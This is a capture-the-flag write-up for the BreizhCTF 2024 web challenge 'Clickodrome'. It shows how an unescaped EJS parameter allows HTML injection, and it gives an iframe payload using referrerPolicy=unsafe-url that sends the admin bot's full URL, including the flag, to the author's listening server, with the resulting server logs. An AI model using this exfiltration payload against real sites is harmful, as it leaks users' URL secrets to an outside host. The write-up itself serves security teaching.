Featured image of post BreizhCTF 2024 - Clickodrome

BreizhCTF 2024 - Clickodrome

Write up of Web challenge Clickodrome

Write up of BreizhCTF 2024 Clickodrome

Author : Worty

Source code analysis

The challmaker gave us access to the app source code, so let’s dig into it !

First, we notice the bot.js, which tells us that it might be a client side challenge. As we can see in this code snipet, a puppeter is started to render a page and click on a DOM element that has the selector #delete.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const browser = await puppeteer.launch({
	headless: "new",
	ignoreHTTPSErrors: true,
	executablePath: "/usr/bin/chromium",
	args: [
		"--no-sandbox",
		"--ignore-certificate-errors"
	],
});

const page = await browser.newPage();

await page.waitForFrame;

try {
	await page.setJavaScriptEnabled(false); // On m'a toujours dit de ne jamais faire confiance aux utilisateurs
	await page.goto(`http://localhost:${port}/reports?ref=${encodeURIComponent(reference)}&reason=${encodeURIComponent(reason)}&flag=${encodeURIComponent(FLAG)}`);
	await page.waitForSelector("#delete");
	await page.click('#delete');
	// TODO: intégrer une IA pour déterminer si oui ou non il faut supprimer
} catch (err) {
	console.log(`[BOT - ERROR] ${err}`)
	ret = false;
}

As we can see, the flag is a parameter of the url, so we need to extract it. But we can also see that javascript is disabled with page.setJavaScriptEnabled(false);. So goodbye the window.location.search and other javascript beauties, we are gonna do that with plain HTML.

Now we have to locate a spot where inject some html code to do that. We have control on the ref and reason param, ref is filtered with a list of possible value, so we only have reason left.

We we take a look at the views/report.ejs, we can see that the reason param is directly reflected into the page, so we have our code injection !!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<html>
    <head></head>
    <body>
        Un utilisateur a rapporté l'offre <%- data.ref %> pour la raison suivante :

        <%- data.reason %> <- Code injection here !

        Si vous souhaitez bannir cette offre, <a id="delete" href="#delete">cliquez ici</a>, sinon, fermez cette page.

        Clickodrome administration.
    </body>
</html>

Exploit Time !

Now let’s summarize, we have an html injection, no javascript available, and a flag into the url. We have to find a way to extract the browser url and send it to a server with only plain html. It seems impossible, but not with our favorite html tag :<iframe>.

But before crafting our payload, let’s talk about the HTTP header “Referer”.

It’s a HTTP header that contains the previous location from where a link as been clicked to get to the current page. So what happen if we create an iframe with our ip adress as src, like this :

1
2
<iframe src="//10.50.150.4:30000">
</iframe>

We only receive the host, and not the full url as we can see here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ERROR:root:Host: 172.17.0.1:30000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:3000/     <- Here
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

172.17.0.2 - - [18/May/2024 15:49:50] "GET / HTTP/1.1" 200 -

So have to find a way to send the full url in the referer header.

RTFM

Lets jump into the iframe documentation. We reach the referrerPolicy section, and we see an intresting value: unsafe-url, it sends a full URL when performing a same-origin or cross-origin request. Perfect ! That what we needed !

We add this to our payload :

1
2
<iframe referrerPolicy=unsafe-url src="//10.50.150.4:30000">
</iframe>

And BOOM, the flag !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ERROR:root:Host: 172.17.0.1:30000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:3000/reports?ref=[...]&flag=BZHCTF%7Bfake_flag%7D
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

172.17.0.2 - - [18/May/2024 16:03:25] "GET / HTTP/1.1" 200 -

Thanks to the challmaker for this really fun challenge